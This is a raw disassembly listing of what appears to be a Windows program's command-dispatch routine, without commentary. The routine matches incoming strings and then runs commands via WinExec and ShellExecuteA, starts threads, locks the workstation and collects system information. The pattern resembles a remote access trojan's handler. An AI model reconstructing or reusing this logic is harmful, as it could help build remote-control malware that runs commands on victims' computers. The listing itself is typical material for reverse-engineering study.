mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x428]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x428]
mov edx, 0x47dc34
call fcn.00405974
jne 0x4788c3
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048af7c
lea eax, [ebp - 0x42c]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x42c]
mov edx, 0x47dc48
call fcn.00405974
jne 0x478953
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0048b030
lea eax, [ebp - 0x430]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x430]
mov edx, 0x47dc5c
call fcn.00405974
jne 0x4789a0
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 5
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x434]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x434]
mov edx, 0x47dc74
call fcn.00405974
jne 0x478a84
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x438]
call fcn.0047175c
mov eax, dword [ebp - 0x438]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x43c]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x43c]
mov edx, 0x47dc88
call fcn.00405974
jne 0x478ada
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x440]
call fcn.0046dafc
mov eax, dword [ebp - 0x440]
mov edx, dword [ebp - 8]
call fcn.0046de54
lea eax, [ebp - 0x444]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x444]
mov edx, 0x47dca0
call fcn.00405974
jne 0x478b30
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x448]
call fcn.0046dafc
mov eax, dword [ebp - 0x448]
mov edx, dword [ebp - 8]
call fcn.0046dd8c
lea eax, [ebp - 0x44c]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x44c]
mov edx, 0x47dcb8
call fcn.00405974
jne 0x478b75
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.004716cc
lea eax, [ebp - 0x450]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x450]
mov edx, 0x47dcd0
call fcn.00405974
jne 0x478c6f
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x14]
call fcn.004059dc
mov edx, eax
lea eax, [ebp - 0x454]
call fcn.00405728
mov eax, dword [ebp - 0x454]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
pop edx
pop ecx
call fcn.0047196c
lea eax, [ebp - 0x458]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x458]
mov edx, 0x47dce8
call fcn.00405974
jne 0x478d53
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x45c]
call fcn.0046f860
mov eax, dword [ebp - 0x45c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x460]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x460]
mov edx, 0x47dd00
call fcn.00405974
jne 0x478e3d
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.004055c8
lea eax, [ebp - 0x14]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
push 0x47dd14
push dword [ebp - 0x14]
push 0x47dd14
lea eax, [ebp - 0x464]
mov edx, 3
call fcn.004058e0
mov edx, dword [ebp - 0x464]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0047002c
mov eax, dword [ebp - 8]
mov edx, 0x47dd20
call fcn.00405974
jne 0x478e51
call fcn.0047010c
lea eax, [ebp - 0x468]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x468]
mov edx, 0x47dd38
call fcn.00405974
jne 0x478f2b
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x47dd4c
mov eax, dword [ebp - 0x14]
call fcn.0048344c
mov eax, dword [ebp - 8]
mov edx, 0x47dd58
call fcn.00405974
jne 0x478f5d
push 2
lea edx, [ebp - 0x46c]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x46c]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dd6c
call fcn.00405974
jne 0x478f8f
push 0xa
lea edx, [ebp - 0x470]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x470]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dd7c
call fcn.00405974
jne 0x478fc1
push 0x22
lea edx, [ebp - 0x474]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x474]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dd8c
call fcn.00405974
jne 0x478ff3
push 1
lea edx, [ebp - 0x478]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x478]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dda0
call fcn.00405974
jne 0x479023
lea edx, [ebp - 0x47c]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x47c]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47ddb4
call fcn.00405974
jne 0x47922d
lea eax, [ebp - 0x480]
call fcn.00405d28
push eax
lea edx, [ebp - 0x484]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x484]
push eax
mov eax, dword [eax]
call dword [eax + 0x90]
call fcn.0040711c
mov edx, dword [ebp - 0x480]
lea eax, [ebp - 0xc]
call fcn.004057d4
lea eax, [ebp - 0x488]
call fcn.00405d28
push eax
lea edx, [ebp - 0x48c]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x48c]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
call fcn.0040711c
mov edx, dword [ebp - 0x488]
lea eax, [ebp - 0x10]
call fcn.004057d4
call fcn.004701f4
cmp al, 1
jne 0x4790f3
lea eax, [ebp - 0x490]
call fcn.00405d28
push eax
lea edx, [ebp - 0x494]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x494]
push eax
mov eax, dword [eax]
call dword [eax + 0x6c]
call fcn.0040711c
mov edx, dword [ebp - 0x490]
lea eax, [ebp - 0x14]
call fcn.004057d4
call fcn.004701f4
cmp al, 1
jne 0x479137
lea eax, [ebp - 0x498]
call fcn.00405d28
push eax
lea edx, [ebp - 0x49c]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x49c]
push eax
mov eax, dword [eax]
call dword [eax + 0x70]
call fcn.0040711c
mov edx, dword [ebp - 0x498]
lea eax, [ebp - 0x18]
call fcn.004057d4
lea eax, [ebp - 0x4a0]
call fcn.00405d28
push eax
lea edx, [ebp - 0x4a4]
mov eax, dword [0x45ea08]
call fcn.0045ea60
mov eax, dword [ebp - 0x4a4]
push eax
mov eax, dword [eax]
call dword [eax + 0x80]
call fcn.0040711c
mov edx, dword [ebp - 0x4a0]
lea eax, [ebp - 0x1c]
call fcn.004057d4
cmp dword [ebp - 0xc], 0
jne 0x479188
lea eax, [ebp - 0xc]
mov edx, 0x47ddc8
call fcn.004055c8
cmp dword [ebp - 0x10], 0
jne 0x47919b
lea eax, [ebp - 0x10]
mov edx, 0x47ddc8
call fcn.004055c8
cmp dword [ebp - 0x14], 0
jne 0x4791ae
lea eax, [ebp - 0x14]
mov edx, 0x47ddc8
call fcn.004055c8
cmp dword [ebp - 0x18], 0
jne 0x4791c1
lea eax, [ebp - 0x18]
mov edx, 0x47ddc8
call fcn.004055c8
cmp dword [ebp - 0x1c], 0
jne 0x4791d4
lea eax, [ebp - 0x1c]
mov edx, 0x47ddc8
call fcn.004055c8
push 0x47ddd4
push dword [ebp - 0xc]
push 0x47d4b4
push dword [ebp - 0x10]
push 0x47d4b4
push dword [ebp - 0x14]
push 0x47d4b4
push dword [ebp - 0x18]
push 0x47d4b4
push dword [ebp - 0x1c]
push 0x47d4b4
lea eax, [ebp - 0x4ac]
call fcn.00470294
push dword [ebp - 0x4ac]
lea eax, [ebp - 0x4a8]
mov edx, 0xc
call fcn.004058e0
mov eax, dword [ebp - 0x4a8]
call fcn.00475d98
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b0]
mov edx, 0x47dde4
call fcn.00405974
jne 0x479311
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x4b4]
call fcn.00470518
mov eax, dword [ebp - 0x4b4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x4b8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b8]
mov edx, 0x47ddf8
call fcn.00405974
jne 0x47935f
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
call fcn.004701f4
cmp al, 1
jne 0x47935f
mov eax, dword [ebp - 8]
call fcn.004708a0
lea eax, [ebp - 0x4bc]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4bc]
mov edx, 0x47de0c
call fcn.00405974
jne 0x4793ad
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
call fcn.004701f4
cmp al, 1
jne 0x4793ad
mov eax, dword [ebp - 8]
call fcn.00470498
lea eax, [ebp - 0x4c0]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c0]
mov edx, 0x47de20
call fcn.00405974
jne 0x4793fb
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
call fcn.004701f4
cmp al, 1
jne 0x4793fb
mov eax, dword [ebp - 8]
call fcn.004709ec
lea eax, [ebp - 0x4c4]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c4]
mov edx, 0x47de38
call fcn.00405974
jne 0x479449
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
call fcn.004701f4
cmp al, 1
jne 0x479449
mov eax, dword [ebp - 8]
call fcn.00470b38
lea eax, [ebp - 0x4c8]
push eax
mov ecx, 0x15
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c8]
mov edx, 0x47de50
call fcn.00405974
jne 0x4794dd
lea eax, [ebp - 8]
mov ecx, 0x15
mov edx, 1
call fcn.00405a84
mov eax, dword [0x495a88]
mov dword [eax], 1
mov eax, dword [0x495b70]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [0x495bac]
mov edx, dword [ebp - 8]
call fcn.00405584
mov eax, dword [ebp - 8]
mov edx, 0x47de70
call fcn.00405974
jne 0x4794f5
mov eax, dword [0x495a88]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x4cc]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4cc]
mov edx, 0x47de90
call fcn.00405974
jne 0x4795d6
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
mov eax, dword [0x4958f8]
cmp dword [eax], 1
jne 0x47954a
mov eax, 0x47dea8
call fcn.00475d98
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea edx, [ebp - 0x4d4]
mov eax, 0x1a
call fcn.0048b61c
lea eax, [ebp - 0x4d4]
mov edx, 0x47debc
call fcn.00405818
mov eax, dword [ebp - 0x4d4]
lea edx, [ebp - 0x4d0]
call fcn.00481114
mov eax, dword [ebp - 0x4d0]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00475f44
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47decc
call fcn.00405974
jne 0x479610
mov eax, dword [0x4958f8]
cmp dword [eax], 1
je 0x479610
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4822f8
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov eax, dword [0x4958f8]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x47deec
call fcn.00405974
jne 0x479628
mov eax, dword [0x4958f8]
xor edx, edx
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov edx, 0x47df10
call fcn.00405974
jne 0x479642
mov eax, dword [0x495a88]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x47df30
call fcn.00405974
jne 0x47965a
mov eax, dword [0x495a88]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x4d8]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4d8]
mov edx, 0x47df54
call fcn.00405974
jne 0x4797bc
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x4e0]
mov eax, 0x1a
call fcn.0048b61c
push dword [ebp - 0x4e0]
push 0x47debc
push dword [ebp - 0xc]
lea eax, [ebp - 0x4dc]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x4dc]
call fcn.0040a274
test al, al
jne 0x47976a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d309
push ebp
lea edx, [ebp - 0x4ec]
mov eax, 0x1a
call fcn.0048b61c
push dword [ebp - 0x4ec]
push 0x47debc
push dword [ebp - 0xc]
lea eax, [ebp - 0x4e8]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x4e8]
lea edx, [ebp - 0x4e4]
call fcn.0048b300
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47df6c
call fcn.00405974
jne 0x4797d5
mov eax, 0x11
call fcn.0048a8c0
mov eax, dword [ebp - 8]
mov edx, 0x47df80
call fcn.00405974
jne 0x4797ee
mov eax, 0x12
call fcn.0048a8c0
mov eax, dword [ebp - 8]
mov edx, 0x47df94
call fcn.00405974
jne 0x479807
mov eax, 0x10
call fcn.0048a8c0
mov eax, dword [ebp - 8]
mov edx, 0x47dfa8
call fcn.00405974
jne 0x479820
mov eax, 0x18
call fcn.0048a8c0
mov eax, dword [ebp - 8]
mov edx, 0x47dfbc
call fcn.00405974
jne 0x479842
push 0
push 0xf140
push 0x112
push 0
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 8]
mov edx, 0x47dfd0
call fcn.00405974
jne 0x479856
call sub.user32.dll_LockWorkStation
lea eax, [ebp - 0x4f0]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4f0]
mov edx, 0x47dfe4
call fcn.00405974
jne 0x479b47
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea eax, [ebp - 0x4f4]
mov edx, dword [0x495b34]
mov edx, dword [edx]
call fcn.00405728
push dword [ebp - 0x4f4]
push 0x47d8e8
lea edx, [ebp - 0x4f8]
mov eax, dword [0x4959d8]
movzx eax, word [eax]
call fcn.00409d78
push dword [ebp - 0x4f8]
push 0x47d8e8
lea eax, [ebp - 0x4fc]
call fcn.0048def4
push dword [ebp - 0x4fc]
push 0x47d8e8
lea eax, [ebp - 0x500]
call fcn.0048d700
push dword [ebp - 0x500]
push 0x47d7a4
lea eax, [ebp - 0x504]
call fcn.0048d6c4
push dword [ebp - 0x504]
push 0x47d8e8
lea eax, [ebp - 0x508]
call fcn.0048dc14
push dword [ebp - 0x508]
push 0x47d8e8
lea eax, [ebp - 0x50c]
call fcn.0046d408
push dword [ebp - 0x50c]
push 0x47d8e8
push 0x47dff8
push 0x47d8e8
lea eax, [ebp - 0x510]
call fcn.0048d788
push dword [ebp - 0x510]
push 0x47d8e8
lea eax, [ebp - 0x514]
call fcn.0048da44
push dword [ebp - 0x514]
push 0x47d8e8
lea eax, [ebp - 0x518]
call fcn.0048da98
push dword [ebp - 0x518]
push 0x47d8e8
lea eax, [ebp - 0x51c]
call fcn.0048dae8
push dword [ebp - 0x51c]
push 0x47d8e8
lea eax, [ebp - 0x520]
call fcn.0048db4c
push dword [ebp - 0x520]
push 0x47d8e8
lea eax, [ebp - 0x524]
call fcn.0048df24
push dword [ebp - 0x524]
push 0x47d8e8
lea eax, [ebp - 0x528]
call fcn.0048df54
push dword [ebp - 0x528]
push 0x47d8e8
lea eax, [ebp - 0x52c]
call fcn.0048e200
push dword [ebp - 0x52c]
push 0x47d8e8
lea eax, [ebp - 0x534]
call fcn.0046dafc
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x530]
call fcn.0048e298
push dword [ebp - 0x530]
push 0x47d8e8
lea edx, [ebp - 0x538]
xor eax, eax
call fcn.0040f23c
push dword [ebp - 0x538]
push 0x47d8e8
mov eax, dword [0x495d3c]
push dword [eax]
push 0x47d8e8
mov eax, dword [0x495914]
push dword [eax]
push 0x47d8e8
lea edx, [ebp - 0x540]
mov eax, 0x47e004
call fcn.00473610
mov eax, dword [ebp - 0x540]
lea edx, [ebp - 0x53c]
call fcn.0048c42c
push dword [ebp - 0x53c]
push 0x47d8e8
lea eax, [ebp - 0x544]
call fcn.0048c4bc
push dword [ebp - 0x544]
push 0x47d8e8
lea eax, [ebp - 0x548]
call fcn.0048d414
push dword [ebp - 0x548]
lea eax, [ebp - 0xc]
mov edx, 0x2d
call fcn.004058e0
push ebp
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x54c]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x54c]
mov edx, 0x47e018
call fcn.00405974
jne 0x479c1c
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [0x495904]
cmp dword [eax], 0
je 0x479bba
mov eax, dword [0x495904]
mov eax, dword [eax]
call fcn.004865e0
test al, al
je 0x479bba
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d309
mov cl, 1
mov dl, 1
mov eax, dword [0x48604c]
call fcn.0041f9e0
mov edx, dword [0x495904]
mov dword [edx], eax
mov eax, dword [0x495904]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x495904]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fbec
mov eax, dword [ebp - 0xc]
call fcn.00409ee4
mov edx, eax
mov eax, dword [0x495904]
mov eax, dword [eax]
call fcn.00486590
mov eax, dword [0x495904]
mov eax, dword [eax]
mov edx, 0x47d6cc
call fcn.00486594
mov eax, dword [0x495904]
mov eax, dword [eax]
call fcn.0041fe9c
lea eax, [ebp - 0x550]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x550]
mov edx, 0x47e030
call fcn.00405974
jne 0x479c74
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x47d59c
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x554]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x554]
mov edx, 0x47e044
call fcn.00405974
jne 0x479e59
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
mov dl, 1
mov eax, dword [0x41783c]
call fcn.00404620
mov dword [ebp - 0x1a8], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a8]
